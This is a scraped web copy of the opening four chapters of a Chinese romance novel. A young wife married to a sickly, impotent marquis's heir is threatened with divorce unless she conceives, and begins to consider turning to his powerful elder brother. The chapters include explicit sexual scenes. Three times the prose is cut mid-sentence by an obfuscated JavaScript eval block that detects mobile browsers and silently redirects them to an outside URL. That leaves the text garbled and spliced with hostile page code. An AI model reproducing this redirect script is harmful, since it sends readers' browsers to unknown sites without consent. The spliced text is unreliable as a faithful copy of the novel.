《恣欢》 1. 第一章 说起来像是做梦一样,姜姝到底还是嫁给了信阳侯府的世子陆长易,一步登天,成了众人艳羡的贵妇人。 信阳侯陆凛年轻时曾到梁州出任太守,赴任途中路遇仇家刺杀,时任梁州里正的姜文焕带兵相助,救了信阳侯一命。 陆家是门阀世家,富贵无双,姜家世代耕读,来往皆白丁,说句不好听的,姜文焕连给陆凛提鞋都不够格。 谁也没想到陆凛为了答谢姜文焕的救命之恩,会把世子的亲事舍出去,给时年三岁的世子陆长易和一岁的姜家庶长女姜姝订下了娃娃亲。 日子一晃就过了十几年,姜文焕从梁州升迁到了汴京,这十几年间,陆姜两家再没有来往过,姜文焕只当信阳侯瞧不起姜家的门第想要悔婚。 姜文焕有些膈应,却也不敢上门询问,等姜姝及笄以后,便给姜姝和隔壁的书生叶潜订了亲,哪成想要给姜姝完婚的时候,信阳侯府的管家突然带着聘礼上了门。 天大的馅饼砸到了头上,砸得姜家人晕头转向,姜文焕和姜夫人杨氏合计一番,把叶家的聘礼尽数退还,令姜姝嫁给陆长易为妻。 姜姝和叶潜青梅竹马、感情甚笃,听闻父母要把她嫁到信阳侯府的时候,要死要活的闹腾了一场。绳子都套到了脖颈上,终究还是没能如愿。 姜姝并不是积粘的人,骨子里带着拿得起放得下的飒爽,她努力过了,既然和叶潜有缘无分,就要把这段感情放下去。 信阳侯没有错,世子也没有错,错的是姜文焕心志不坚,把她许给了两家人。 她既嫁给了陆长易,就要做好一个妻子的本分,好生待人家。 陆长易面容俊秀,是难得一见的美男子。可惜他似挂在高檐上的纸灯笼,好看归好看,却脆弱易折,莫说淋雨,便是吹一吹风,就要病上好几日。 这是姜姝嫁到信阳侯府的第七个月,陆长易已经零零散散病过三十多次了。 现下他发起了高热,院内的下人们司空见惯,请大夫的请大夫,烧热水的烧热水,一切都有条不紊。 姜姝守在陆长易身边,在凉水中投了帕子给陆长易擦拭身子,她一面照顾陆长易,一面柔声安慰:“世子再忍一忍,大夫马上就过来了。” 陆长易掀开眼皮看向姜姝,姜姝原就生得好看,被烛光一照,愈发显得玉软花柔。 肌肤细嫩如羊脂,肤色白里透粉,比春日的海棠还要美丽灼目。 妻子貌若天仙,现下拿着手巾温温柔柔地给他擦拭身子,柔荑所到之处恍若烈火燎原,陆长易体内的热1意愈发蓬1勃。 他抬起手臂,握住姜姝的手,让她覆到软塌塌的那处,低声道:“姝儿,你疼疼我罢!” 按说现下陆长易发着高热,姜姝合该劝他修身养性,可看着陆长易湿漉漉的、渴1望的眼神,她怎么也说不出拒绝的话,他弱不经风连门子都出不了,又能有什么乐趣呢,少这么一次,身子也不见得能好起来。 姜姝悄悄乜了一眼外间,见丫鬟都在忙碌,这才握住那1处,手指慢慢收拢,轻柔地动作起来。 可惜,最要紧的那一处是寂静的枯井,常年干涸,即便热得要烧起来了,都酝酿不出一丁点泉水来。 姜姝的生母林氏是姜文焕的小妾,妾者,色也,为妾者或许不通文墨,不懂管家理事,却精通房中之术。 姜姝出阁的前一夜,林氏特地到她房中教导过一番,因着陆长易体弱,不易操劳,林氏还特地教了姜姝旁的新嫁娘不会的样式。 新婚之夜,姜姝匍匐在陆长易身上,生生把自己劈成两半,像是献祭一般和陆长易圆了房。 像是急着完成一件任务,她只记得自己疼得厉害,倒是没有想象中的羞怯。陆长易待她也十分妥帖,事后,他亲自给她擦洗了身子,温柔的抱着她,与她同被而眠。 后来姜姝才知道,那一夜,陆长易提前服用了虎狼之药,这才和她完成了周公之礼。 之后半年,夫妻二人不是没有试过,可惜,每到了紧要关头,陆长易就会偃旗息鼓。 体内的燥意被失落一点点吞嗤,陆长易悄悄把双腿并到一起,颓败地闭上眼睛,低声对姜姝道:“是我耽搁了你,你去取一副笔墨来,我这就写一封和离书放你离开,你还年轻,又生了这样一副容貌,总不能凭白被我……” 话说了一半,便被姜姝制止,姜姝伸手捂住陆长易的嘴唇,嗔道:“世子在说什么胡话,以后莫要再提和离这两个字。 我出身低微,嫁给您之前,日日待在房中做针线,熬得眼睛都要瞎了,也穿不起一件软烟罗衫子。” “瞧瞧现下,我头上戴的是赤金华盛,身上穿的是缂丝褙子,吃的是山珍海味。 您不仅给了我锦衣玉食,还像眼珠子一般护着我,再没人比您待我好了,我若是因着那么点子事儿就生了外心,也不配在这世上立足了。” 陆长易的身子不好,待姜姝却再好不过,有他待她的那份真心在,便是他以后都成不了事儿,姜姝也毫无怨言。 二人初初成亲,陆长易就把他的私产交给姜姝打理,给了姜姝花不完的金银。 待字闺中时,姜姝手头就没有宽裕的时候,莫说时兴的衣裳,连可口的饭菜都没吃过几口。 她吃够了没钱的苦,最知道银钱的好处。 陆长易给了姜姝荣华富贵,也给了她足够的尊重呵护,投桃报李,她也要好生待他。 姜姝一面说话一面脱掉绣鞋,她侧躺到陆长易身后,像汤勺一样贴到陆长易身上,伸手环住陆长易的腰,温声道:“世子身子弱,待把身子养好了,就什么都成了。 我们是正紧夫妻,只要心在一处,就不会有隔阂,不管怎么样,我待世子始终如一。” 姜姝一贴到陆长易身上,陆长易就感觉到了融融的热意,她身子康健,身上一年四季都是温热的。 和她在一起,让他觉得生活有盼头。 陆长易翻了身,回抱住姜姝,把脸贴到她的颈间,低声道:“我好生调养着,总该有些起色。” 夫妻二人依偎在一起,温情脉脉地抱了一会子,听到敲门声,姜姝才从榻上起身。 温大夫照常给陆长易切脉,开药,药方有些改动却也大差不差,陆长易身体底子薄,他不敢用猛药,只能温吞的吊着。 姜姝伺候陆长易用完药,便到了请安的时辰,侯夫人赵氏瞧不上姜姝的出身,姜姝刚进门时很受了一番磋磨,所幸陆长易像护眼珠子一般护着姜姝,但凡赵氏苛待姜姝,他便要大闹一场。 天底下哪里有拧得过孩子的母亲,陆长易的身子纸糊的一般,赵氏唯恐他气急伤身,便收敛了些许,虽还是不肯给姜姝好脸色,却也不敢再磋磨她。 姜姝性子坚韧,并不会因为赵氏的厌恶畏畏缩缩,她施施然踏进宴西堂,一进门就瞧见了端坐在贵妃榻上的三奶奶胡泠霜。 胡泠霜并不是当下追捧的娇弱美人,她美的很有特色,嘴唇饱满,眼角微微吊起来,朝你看来得时候颇有烟视媚行之态。 她起身向姜姝行了个礼,不情不愿的叫了一声“二嫂”,不待姜姝答话,便又自顾自坐回了贵妃榻。 她的举动是有些失礼的,但姜姝并不是锱铢必较之人,她只当没瞧见胡泠霜的轻慢之色,俯下身向赵氏行了个礼,温声道:“儿媳给母亲请安,愿母亲万福康健。” 赵氏不咸不淡地应了一声,转而看向胡泠霜,不咸不淡道:“你身子不便,以后无需再过来伺候,且回碧春楼将养去罢。” 胡泠霜得意的勾了勾唇角,轻轻抚了一下尚且平坦的小腹,柔声道:“百善孝为先,按说儿媳合该在母亲膝下承欢。 奈何我这身子不争气,腹中的麟儿夜夜都闹腾,儿媳夜不能寐,白日里也没有精神,实在是无力侍候母亲了。” 说完话,她若有似无地瞥了姜姝一眼,眸中满是得意之色,而后扭着水蛇腰出了花厅。 不到满月的胎儿,哪里会有胎动,胡泠霜此言无非是为了炫耀自己怀了身孕,就势拿乔。 她一出门子,赵氏就变了脸色,狭长的丹凤眼直直睇着姜姝,沉声道:“你进门也有大半年了,怎么还没有动静,你要抓紧一些才好,没得事事都让胡氏姑侄抢先。” 信阳侯陆凛有一妻二妾,分别是正妻赵云章,贱妾云氏,贵妾胡姨娘。 赵氏进门多年无所出,先侯夫人便把自己的婢女云氏赏给了陆凛,云氏肚子争气,承欢不久便怀了身孕,可惜她福薄,诞下长子陆长稽后便撒手人寰了。 赵氏顺势将陆长稽抱到自己房中教养,陆长稽六岁那年,她怀了自己的亲子陆长易,后来又生了女儿陆长莹,这才把陆长稽放到外院。 陆凛荤惯了,半日都素不得,赵氏怀孕期间,他到碧沙湖游船,和胡家的嫡女胡岚一见钟情,将人抬进了信阳侯府。 胡岚的父亲官至五品知府,她为着陆凛退了订好的亲事,委屈自己做了妾。 陆凛本就对胡姨娘心怀愧疚,再加上胡岚温柔小意、刻意逢迎,很快就把大半的心思放到了胡姨娘心上。 待胡姨娘产下陆长风,地位便又上了一层楼,隐隐有和赵氏分庭抗礼之势。 赵氏和胡姨娘打了十几年擂台,决计不想在子嗣上占下风。 姜姝知道赵氏争强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994292|178099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好胜的性子,可陆长易身子虚弱,除了新婚那夜再成不了事,她又如何怀得上身孕? 但凡男子,总要在房事上逞强,陆长易原就弱不经风,若是再传出不举的名声,他还怎么立足? 姜姝犹如吞了一口黄莲,有苦说不出,她低声对赵氏道:“世子身子不好,怀孕的事还是缓一……” “缓什么缓?”姜姝话还未说完,便被赵氏打断,赵氏柳眉倒竖,厉声喝道:“凭你的身份,能嫁进侯府是天大的造化,你若是连孩子都生不出来,还有什么脸面舔居世子夫人之位?” “我给你三个月的时间,你三个月内若怀不上身孕,我便写一封休书将你休回娘家,你以后也不用再见人了。” 休回娘家? 姜姝眼前一黑,身子不由颤抖起来,若不是珠儿适时扶住了她,怕是已然摔倒在地上。 陆凛重信,极力要娶姜姝进门,赵氏一心想给陆长易娶一位高门贵女,二人争执了很长时间,赵氏败北,但她提了一个要求,不许陆长易和姜姝到户部领取婚书。 赵氏有自己的打算,万一将来陆长易有了心怡的贵女,她便可以安排陆长易和贵女领取婚书,到时候给姜姝一个贵妾的身份也算抬举了姜姝。 姜姝不是不知道赵氏的打算,但人在屋檐下不得不低头,况且信阳侯府也给了她少夫人的尊荣,她就只能走一步看一步了。 有少夫人的头衔在,姜姝才能衣食无忧,她简直不敢想象,自己若是被休弃回家,会有什么下场…… 当朝虽比前朝开放,却也容不得下堂妇,下堂妇不仅会连累家里小娘子的亲事,便连父兄的官职都会波及,哪家若是出一个下堂妇,父兄的官职都要连降两级。 大英建国三百余年,统共也只出过三个下堂妇,那三个妇人,一个自缢了,一个被娘家嫂子灌了鹤顶红,另一个休弃回家后积郁难消,不消五日就病死在床榻上。 想到这些姜姝觉得遍体生寒,她的父亲姜文焕最是自私凉薄,她若是被休回家,除却一死,再无旁的路可走。 姜姝抿紧嘴唇,往日红润的脸颊此刻白的像一张纸,她才过了六个月的好日子,断不能就此葬送了去,哪怕做出背德之事,她也要保全自己。 姜姝失魂落魄地折回欣春苑,陆长易心思敏感,她唯恐被瞧出端倪,便以煲汤为由进了小厨房。 小厨房分内外两间,里间烹饪、外间煲汤,婆子们正在里间准备中午的吃食,一边摘菜一边闲聊,并没有察觉到有人进了外间。 姜姝刚把汤锅吊到火炉子上,便听里间的刘婆子问老王家的:“你听说双鱼巷张家那档子事了没?” 老王家的只道没有,她们这个年纪的人最喜欢谈论家长里短,忙追刘婆子张家发生了何事。 刘婆子抿唇一笑,将垂到鬓边的那缕头发掖到耳后,讳莫如深道:“两年前张二郎娶了美娇娘江氏,也不知怎么回事,二人成亲两年有余,愣是没生出孩子来。” “张家婆子脾性不好,隔三差五拿江氏做筏子,什么话难听说什么,整整作践了江氏两年,开春的时候,张二郎突发疾病去了,张家婆子更不把江氏当人看,莫说怜惜江氏寡居,便连饭食都不让张氏用够。” “按说人要是忍饥挨饿,合该清瘦一些,偏偏江氏越来越丰腴,张家婆子觉得蹊跷,找来大夫给江氏看诊,这一瞧可了不得,江氏竟有孕三月有余。” “张二郎已去了半年,江氏的胎儿堪堪三个月,无需言说,自是江氏在外面偷了汉子。” “张婆子怒极,当即就要拉了江氏去沉塘?结果你猜怎么着了?” 说到这儿,刘婆子微微停顿了一下,转头看向老王家的。 若是事情合乎情理就不用单拎出来说叨了,老王家的沉思了片刻,接腔道:“是不是大夫诊错了月份,那孩子真真是张老婆子的孙子?” 刘婆子“噗嗤”一声笑了出来,掩着唇道:“那孩子是张老婆子的孙子没错,却不是张二郎的,而是张家大郎的种。” 刘婆子这等年纪的妇人,说起话来最是没遮没拦,她接着道:“江氏也是糊涂,张二郎不成,找张家大郎借个种不就成了,左右都是张家的血脉,也不算对不起张家的列祖列宗。 这个糊涂的,偏偏要在张二郎去世以后跟张大郎勾扯,现下可好,虽说张家婆子因着她腹中的胎儿不能下手发落她,但到底坏了名声,那孩子便是能平安出生,以后也得被人指指点点。” 婆子们只是闲谈,姜姝却不由自主就把自己代入其中,她的处境简直跟江氏一模一样。 江氏可以找大伯借种,那她是不是也可以…… 2. 第二章 大英立朝三百余年,这三百年间有无数学子科考入仕,放眼整个官场,也只有陆长稽一人学贯古今、连中三元。 陆长稽智谋无双,入仕以后屡建奇功,现下不过二十六岁,已官拜刑部尚书,他是内阁最年轻的阁老,除却户部尚书卢准能与之分庭抗礼,再无人能与他抗衡。 姜姝嫁给陆长易已属高攀,又如何敢为了一己私欲肖想神仙一般的大伯? 内间厨娘的谈话内容越来越露1骨,姜姝的心也缠成了一团乱麻,她伸手拍了拍自己的脸颊,逃也似地离开了厨房。 折回内寝,只见陆长易正侧躺在贵妃榻上假寐,他的身量很长,却瘦削如纸,薄薄的一片似乎风一吹就要飘走。 瞧着陆长易消瘦的身躯,无尽的愧疚涌进姜姝的心田,他的夫君体弱多病,平日里连门子出不得,可他却为了护着她,时常到宴西堂与他的亲生母亲叫板,他待她这样好,她怎么能想要和他的兄长…… 姜姝悲愧交集,心里酸涩难忍,像是堵了一块儿棉花,闷得连气都出不匀。 她抚着胸口踱到外间,拿出针线笸箩给陆长易做寝衣。姜家拮据,姜姝时常做女红补贴家用,练就了一手好针线。 陆长易给了她呵护、地位、银钱,她身无长物,拿不出对等的东西回报他,只能竭尽所能地对他好。 螓首低垂,姜姝穿针引线,把针脚缝得又细又密,将衣裳缝好以后,她仔仔细细把线头剪了一遍,放在水中投洗了以后才唤来方玉拿去熏香。 忙完这一切,陆长易也睡醒了,他望着院内那株亭亭如盖的胡柚,低声对姜姝道:“屋内憋闷,不若到院子里逛一逛。” 夏日炎热,因着陆长易身子不好,屋内不仅没有用冰鉴,甚至连窗户也不敢开,姜姝早就闷的出了一身汗,她恨不得立马就到院子里乘凉。 可惜,想到陆长易上次吹了风闹出的症状,姜姝又犹豫起来。 她对陆长易笑了笑,柔声道:“这个时节外面怕是有蚊虫,我先到院子里探一探,若是没有蚊虫,再和世子一起出去纳凉。” 侯府奴仆众多,到了夏日会单拨出一部分仆妇生火熏院子,院内艾香阵阵,莫说蚊虫,怕是连蝉都寻不到一只。 男子要面子,越缺什么便越忌讳什么,陆长易体弱,就风就倒,平日里最厌恶听到生疾之类的言论,为了不让他上火,姜姝只能委婉着说话。 她掀开门帘踱到屋外,檐下的芭蕉叶静静的舒展着,纹丝不动。没有凉风,陆长易便能到屋外去了。 莹润的嘴唇弯起好看的弧度,姜姝旋到屋内,笑盈盈对陆长易道:“外面很清净,一只蚊虫都没有,我们出去转一转罢。” 话毕,她弯下腰把陆长易扶起来,刻意放慢脚步,随着陆长易的节奏一起往门外走。 刚行了几步,便见陆长易白皙的脸颊泛起了微红,额头沁出细细的汗珠子。 姜姝忙把他扶到一侧的软榻上,温声道:“世子若是觉得疲累,我们便改日再出去,天气总归是一日好过一日的。” 陆长易的病困住了他自己,又何尝不是困住了姜姝,身子妻子,姜姝需贴身照料他,他出不得门子,姜姝也很少有机会出去。 陆长易不想让姜姝扫兴,他吩咐长顺把轮椅搬到屋内,转而看向姜姝,无奈地勾起一抹苦笑:“我身子不济,偏偏又贪恋傍晚时分的美景,还要劳烦姝儿把我推到园子里去。” 姜姝知道陆长易是为着她才执意要到外面散心,心里不由涌过一股暖流,她冲着陆长易笑了笑,推着陆长易出了门子。 晚霞映满西天,红灿灿的夕阳给碧绿的湖水镀了一层暖光,姜姝和陆长易沐浴在霞光中,絮絮地说着话,行到转交处,和散步的陆长风夫妇走了个顶头。 陆长风遗传了胡姨娘的好相貌,下巴瘦削,五官精致,乍一看十分英俊,若细瞧就会发现他的眼神有些浑浊,暗暗的,似蒙着一层雾。 他抬起眼皮,雾蒙蒙的眸子斜睨了陆长易一眼,似笑非笑地讥讽:“莫不是太阳打西边出来了,二哥怎么出了门子?” “二哥身子骨弱,合该在屋里将养,没得吹了风犯病,到时候还得连累欣春苑的奴仆受罚。” 他一面说话一面做了个噤声的手势:“我怎么忘了二哥的秉性,二哥一向不管下人的死活,下人命如草芥,挨罚也便罢了,可二哥总得顾惜二嫂的面子,上次您出门犯了疾,母亲可是罚……” “不知二叔有没有寻到瑞姑娘?”陆长风话还未说完,就被姜姝泠泠打断。 陆长风生性风流,娶了貌美如花的胡泠霜尤不肯收性子,时常在勾栏瓦市流连,那瑞姑娘就是他在勾栏赎出来的行首。 世家子弟,收个把通房算不得什么,可把千人骑的行首收到家里就有些贻笑大方,用不着胡泠霜动手,胡氏听到消息,二话不说就把瑞姑娘卖给了人牙子。 瑞姑娘身经百战,在房事上很有一些手段,陆长风还在兴头上,总放不下瑞姑娘,时常派人去打听瑞姑娘的行踪,他只当自己做的隐秘,没想到竟被姜姝察觉了。 姜姝若把这事儿闹到明面上,他怕是要被信阳侯剥掉一层皮。 陆长风乜了姜姝一眼,他这嫂子生得花一般娇嫩,平日里说起话来温温柔柔的,规行矩步,半分出格的事都不敢做,他只当她是个任人揉捏的面人,没想到竟也带着剌手的尖刺。 陆长风偷偷觑了胡泠霜一眼,见胡泠霜神色如常,才放下心来。胡泠霜是他千挑万选娶回家的妻子,不仅生得好,性子也十分讨喜,她现下怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这件事,陆家上上下下都知晓,唯有陆长易不知道。 但凡姜姝有一丁点私心,就该把这件事告诉陆长易,可谁让陆长易待姜姝好呢,他若知道赵氏罚他的妻子跪了一天一夜,怕是要把宴西堂的门给拆下来。 姜姝不怕陆长易和赵氏生龃龉,却怕陆长易气急攻心,再次卧床不起。 姜姝把手从陆长易掌心抽出来,柔柔的凑到陆长易身边,抬臂给他整理衣衫,一边整理一边道:“八百年前的老黄历了,还提那事做什么,世子若动了气,才真真是中了老三的圈套。” 淡淡的花香扑面而来,陆长易这才发现姜姝的鬓边簪着一簇栀子花,顺着栀子花往下瞧,便是姜姝白的欺霜赛雪的脖颈。 她的脖颈又细又长,和脖颈相接的胸脯却丰腴白腻的似两座雪山。 陆长易的眸光凝在那两座雪山上,不由起了绮念。 若是以往,他也不是非试不可,可一想到胡泠霜讥讽的眼神,体内的火苗就蹿了出来。 陆长易猛地把姜姝抱到怀中,侧过头,含住姜姝的耳垂,含糊道:“姝儿,我们再试一试罢!” 3. 第 三 章 姜姝感激陆长易、尊重他,愿意全心全意的照顾他,也不排斥和他一起生活,却唯独不愿和他有身体上的接触。 她知道她对他没有男女之情。 可没有男女之情又如何,他是她的夫君,若不是他身子不好,他们早已成了真正的夫妻,她合该与他亲近的。 姜姝强压下把陆长易推开的举动,随着陆长易躺到拔步床上。 更漏滴答作响,帐内也窸窸窣窣响个不停,约莫过了一刻钟,帐内忽得响起一道长长的叹息声,而后便静若死寂。 姜姝艳若芙蕖,身子更是玲珑有致,陆长易在雪山上流连许久,心潮澎湃之际,那里倒真的有了起色。 他一鼓作气,当机立断就扯掉了姜姝的亵裤,哪成想刚刚触到巷口就一泄如注。 再没有比这种情形更让人无地自容。 陆长易面如死灰,简直不知道该如何面对姜姝。他颓败地从姜姝身上翻下去,面朝里侧,留给姜姝一个削瘦孤绝的背影。 姜姝也不好受,胸脯被陆长易吮的生疼,怕是破了皮。 陆长易颓败的犹如丧家之犬,她不好掀开被子查看自己的胸脯,只悄悄打开床底下的抽屉,摸出一盒玉肤膏,默不作声涂抹到胸口上。 那玉肤膏是宫里的东西,涂到肌肤上冰冰凉凉,十分让人受用。 姜姝缓了一会儿,才分出心神欲安抚陆长易。 可到底该如何安抚呢?同样的话,车轱辘一般,翻来覆去的说,便是她都觉得繁琐,更遑论陆长易。 她张张嘴,还未开口,就听陆长易道:“你先就寝罢,我出去喝一盏茶!” 说是喝茶,其实姜姝知道,陆长易是要到隔壁的交春园消遣。 陆长易出不得门子,便在交春园养了一些好斗的活物取乐,他每每烦闷之时,就会到交春园瞧活物角斗。 姜姝自觉活物角斗太过于血腥,但念及陆长易乏味的犹如白开水一般的生活,便不忍心开口阻止,只温声叮嘱:“夜深了,世子穿的厚一些,没得着凉。” 陆长易点点头,由长顺伺候着穿衣戴帽,行到院内,登上软轿。 陆长易出了门子,姜姝像是挣掉了一把无形的枷锁,她长舒一口气,三步做两步跨到窗边,伸手推开窗子,任凉爽的夜风吹到屋内。 有风的夜晚,凉爽的夜晚,可真是奢侈,可真是让人愉悦! 姜姝一夜无梦,早晨起来神清气爽,让下人往交春园送了一份晨食,便自顾自用起饭来。 刚用完饭,便听方玉禀告,说亲家太太求见,方玉口中的亲家太太便是姜姝的嫡母杨氏。 杨氏出身商贾,娘家经营着几家店铺,家里虽不缺吃穿,却也算不得豪富。她秉承了父辈好利薄义的作风,为人刻薄,待姜姝实在算不得好。 照私心,姜姝一点都不想应付她这位嫡母,可惜,嫡母上门,她若是闭门不见,怕是得被人戳断脊梁骨。 姜姝皱了皱眉,对方玉道:“把人请到花厅。” 几个月未见,杨氏又胖了一圈,高大肥胖的身体裹在枣红色长裙里面,活像一壁移动的猪肉。 杨氏不动声色打量花厅的陈设,饶是她已经见识过侯府的豪奢,仍忍不住咂舌。 地上铺的是波斯国的地毯,墙边立的是黄梨木多宝阁,桌上摆的是整套的甜白瓷绘红梅杯盏,不说旁的,单一只甜白瓷茶盏就值五两纹银。 这样的泼天富贵怎么就落到了姜姝这个贱人头上。 杨氏撇撇嘴,像是喝了陈醋一样,心里直泛酸水。 她看向姜姝,阴阳怪气道:“大姐儿好造化,年纪轻轻就过上了神仙一般的日子。” “你能有今日,多亏了我和你父亲呕心沥血的筹谋,饮水当思源,你也该报答我和你父亲,好生帮衬娘家才是。” 姜姝冷笑,姜文焕和杨氏确实呕心沥血的筹谋过,只不过他们不是为了她筹谋,而是为了她的嫡出妹妹姜然筹谋。 姜文焕搭救陆凛的那一年,姜然还没有出生,家里只姜姝一位小娘子,姜文焕只得把亲事定给姜姝。 后来陆家依照约定上门提亲,杨氏艳羡陆家的富贵,想要神不知鬼不觉的易亲,让姜然代替姜姝嫁给陆长易。 可惜,人算不如天算,成亲前,陆长易忽上门拜访,不知怎么回事,识破了杨氏的诡计,扬言非姜姝不娶。 杨氏这才退掉叶家的亲事,把姜姝嫁到了信阳侯府。 姜姝不喜欢逞口舌之快,杨氏说的话不中听,她也懒得反驳,只冷眼看杨氏做戏。 杨氏也觉得有些无趣,仰头灌掉杯中的茶水,双眸凝着姜姝,单刀直入:“我养你这么大,费钱又费力,不知付出了多少心血。 你出嫁的时候,我更是把压箱底的银子都掏了出来。我也不求你接济娘家,但好歹得让我在街坊邻居跟前把腰杆子直起来,没得赔了夫人又折兵。” 姜姝原还能控制好表情,一听杨氏提起陪嫁,就不由翻了个白眼。 杨氏和普通的官眷不同,她出身商贾,万事以利为先,至于名声,从来就不在她的考虑范畴之内。 姜姝出嫁时,陆家除了牲畜瓜果、糖糕山珍,还足足给了姜家三千俩聘银。杨氏收聘礼收的不亦乐乎,却只给姜姝准备了三十抬嫁妆。 这三十抬嫁妆也都是不值钱的针头线脑,折成银子,连二百两都不足。 姜姝平时温婉惯了,却因着陪嫁大闹了一场,姜文焕好歹得在官场上行走,怕传出苛待长女的名声,这才给姜姝添了一千两的银子当陪嫁。 只这银子,也是从信阳侯府的聘礼里拨出来的。姜家可谓一毛不拔。 约是姜姝的白眼翻的太过于扎眼,杨氏不由刹住了话头,既然温情牌站不住脚,她就换一个说头。 杨氏道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994294|178099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “信阳侯府隔三差五举行宴会,却从来没有给姜家发过帖子,街坊邻居瞧在眼里,都说侯府瞧不上姜家,咱们便是攀了高枝也飞不上枝头,我简直要被他们的唾沫星子给淹死。” “我皮糟肉厚,被人说叨几句倒也没什么大碍,林姨娘却不然,她的脸皮比纸还薄,这几日连门子都不敢出了。日日缩在屋子里,没得闷出病来。” 林姨娘一个妾室,哪里有机会出门,又如何听得到旁人对姜家的非议?杨氏提起林姨娘,无非是为了提醒姜姝,她的生母还在姜家,姜姝只有乖乖听话,林姨娘才能安然无虞。 想到林姨娘,姜姝默默叹了一口气,林姨娘性子软,似是泥捏的一般,姜姝若不为姨娘筹谋,姨娘真真能被杨氏磋磨死。 姜姝勾起嘴唇,颇为勉强的笑了笑,开口说道:“姜家和陆家既结了亲,就是正经的亲戚,多多走动才是正理。 我明日便给母亲和二妹妹下请帖,到了十五,你们便来侯府吃席,到时候咱们好生热闹一番。” 但凡吃席,杨氏总要把二娘子姜然带在身边。 姜家原有二子三女,长子姜连、幼子姜彬、二娘子姜然由杨氏所出,长女姜姝、三娘子姜容由林姨娘所出。 姜连出生的时候,姜文焕刚刚中举,幼子体弱,在随姜文焕赴任的途中不幸夭折。 杨氏本就强势,因着姜文焕的官秩折了自己的长子,在家里愈发说一不二。便是姜姝已攀上了信阳侯府这棵大树,姜文焕现下等闲也不敢开罪杨氏。 见姜姝软了声气儿,杨氏得意地勾勾唇角,孙猴子蹦得再高也逃不出五指山,姜姝嫁到侯府又如何,还不是得任她拿捏。 达到了目的,她也懒得再和姜姝兜搭,杨氏用银签叉起一块儿胡瓜放到口中,慢慢咀嚼着,开口说道:“天气也不早了,我得早些家去,家里一摊子事儿,那件也离不得我。” 不管暗地里如何,面子功夫总得做足。姜姝站起身,温声对杨氏道:“家里庶务多,女儿就不虚留母亲了,我送您出门。” 姜姝一直把杨氏送到大门口,往回折返的时候,忽瞥见一道颀长的身影。 那人身穿一袭大红色仙鹤补服,面容清俊儒雅,嘴角带着一抹浅淡的笑容。 陆长稽的长相是十分温和的,可即便姜姝大门不出二门不迈,也听说过他的威名。 陆长稽十八岁夺得桂冠,入仕不到十年,就用铁血手段肃清政敌,那双握笔的手,不知沾染过多少鲜血。 姜姝暗暗胆寒,陆长稽这样的人,启是她可以肖想的,什么借种生子,简直滑天下之大稽。 想到自己对陆长稽的龌龊心思,姜姝无地自容,下意识向相反的方向行去。 “弟妹留步!”姜姝堪堪迈出脚步,陆长稽的声音就在背后响起。 那声音低沉又不失柔和,像一把归鞘的剑,表面温润,内里却饱含锋芒。 4. 第四章 姜姝顿住脚步,慢吞吞转过身,因着心虚,她不敢正眼瞧陆长稽,只把目光投到身旁的青石地板上。 这时,一只骨节分明的大手出现在她的视线中,那只手遒劲有力,手背上的青筋微微凸起,手心握着一块儿鹅黄色的帕子。 姜姝暗暗懊恼,她分明不是丢三落四的人,怎么偏偏就在陆长稽跟前出了丑。 所幸是陆长稽捡到了帕子,若是被有心人捡到,她便是长十张嘴也解释不清。 姜姝忙向陆长稽道谢,她一面说话一面接过帕子,帕子上还带着陆长稽的余温,热热的,像是会灼手一般。 姜姝把帕子掉了个头,握住陆长稽没有握过的那一端掖到臂钏里。 回到欣春苑,姜姝阖上屋门,从妆匣盒子里取了两块儿碎银子塞到珠儿手中,低声叮嘱:“杨氏想要参加侯府的宴会,也不知道她到底想要做什么,你且回去打听打听。” 姜家家底薄,家里统共只四个仆妇,姜姝是庶女,那些仆妇万也轮不到让她使唤,临出嫁的时候,姜文焕觉得没有陪嫁侍女不好看相,便到草市上买了珠儿。 珠儿年纪不大,出身又贫寒,和侯府训练有素的大丫鬟没得比,所幸她憨直,对姜姝十分忠心,但凡姜姝交待的事,总会十二分用心的完成。 她把银子踹到怀里,大步流星出了门。 约莫过了两个时辰,珠儿折回信阳侯府,杨氏把无商不奸贯彻的淋漓尽致,平日里总想法设法克扣下人的月例银子,下人敢怒不敢言,久而久之就对杨氏有了芥蒂。珠儿半两银子使出去,便把杨氏这几日的行动打听了个清清楚楚。 珠儿道:“太太这几日倒是没干什么营生,尽顾着给二小姐置办行头了。先是请了锦绣坊的绣娘给二小姐做了两身衣裳,又到银作坊给二小姐打了一套头面。” “那头面极华贵,足足镶着十五颗红宝石,折成现钱,怕是得值十几两纹银。” “吴婆子在太太跟前一向得脸,还好心规劝太太,说这样华贵的首饰,合该等二小姐成亲的时候用来做添箱。” “太太只道吴婆子短视,说二小姐过不了几日便要到侯府吃席,届时若是得到了贵人的青睐,以后怕是比大小姐您还要有造化,区区十几两银子,又算得了什么?” 贵人?信阳侯府以陆凛为尊,陆凛虽生得风流,毕竟已上了年纪,且又和姜然差着辈分,杨氏总不能把主意打到陆凛头上。 除却陆凛,信阳侯府还有庶长子陆长稽和庶幼子陆长风,陆长风已娶了正妻,姜然心气儿高,决不会筹谋着做妾。 